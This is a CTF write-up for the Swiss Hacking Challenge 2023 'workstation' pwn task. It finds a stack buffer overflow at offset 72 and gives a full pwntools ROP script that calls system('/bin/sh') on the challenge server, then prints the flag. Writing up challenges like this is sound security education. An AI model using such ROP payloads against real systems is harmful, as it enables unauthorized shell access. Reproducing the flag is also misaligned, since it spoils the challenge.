Swiss Hacking Challenge 2023 - workstation
Information
Challenge category: pwn
Challenge Description
https://youtu.be/I5AunfmI8bs?t=1439 There’s actually one little thing— Just spit it out. I’m used to things going wrong. It looks like someone’s monitoring our transmission. Who? I don’t have a clue. All they’re doing is watching – it would creep me out less if they tried to interfere with our communications. Could it have something to do with that Cypher we saw? Maybe. I’ve switched the encryption protocol for our burst transmission for now. What I want to do is use a different method for sending those photos, just in case. Instead of using the Codec? Exactly. There’s a workstation in the southeast corner of the block where Metal Gear is housed. I’ve made arrangements so that you can send pictures from the machine.
Files
We are given a workstation.zip
file. It contains the following binary:
workstation: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=21ce5195b66b4f6eb3f36a64a909ddc4db5105b6, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
We can enter a string into the program that will just get printed, sadly nothing else will happen.
Exploitation
The decompilation shows the following:
ulong main(void)
{
ulong s;
sym.imp.setbuf(_reloc.stdout, 0);
sym.imp.system("uname -a");
sym.imp.system("date");
sym.imp.printf("/bin/sh");
sym.imp.putchar(10);
sym.imp.printf("Command: ");
sym.imp.fgets(&s, 0x80, _reloc.stdin);
return 0;
}
Basically we can overflow s
and execute arbitrary code.
Finding the offset
We can generate a lot of “A"s using python:
python3 -c "print('A'*64)"
We need to find the amount of characters after the RSP
is overwriten (the program will segfault as it doesn’t know the next address to go to).
After 72
characters the program segfaults. That means we’ve found the sweet spot and can now move on to the rop part
ROP using pwntools
The following python script uses pwntools to call system()
with /bin/sh
as its arguments:
#!/usr/bin/python3
from pwn import *
# doesn't work without it, pwn thinks it's 32bit
context.arch = "amd64"
e = ELF("./workstation")
p = remote("chall.m0unt41n.ch", 31337)
# build a rop chain
rop = ROP(e)
system_addr = 0x401195 # taken from objdump -d workstation -> call system@plt
rop.call(system_addr, [next(e.search(b"/bin/sh"))]) # call system() with /bin/sh
# padding + rop chain
payload = b"".join([b"A" * 72, rop.chain(),])
p.sendline(payload)
# get shell
p.interactive()
Flag
After running the script you get an interactive shell and can read the flag:
shc2023{r0p3d_y0ur_w4y_1nt0_th3_w0rkst4t10n}
Conclusion
This was my first time doing ROP and it was quite interesting. Somehow my GDB didn’t allow me to do breakpoints and I couldn’t get the specified system()
address with pwntools. In the end everything somehow worked though.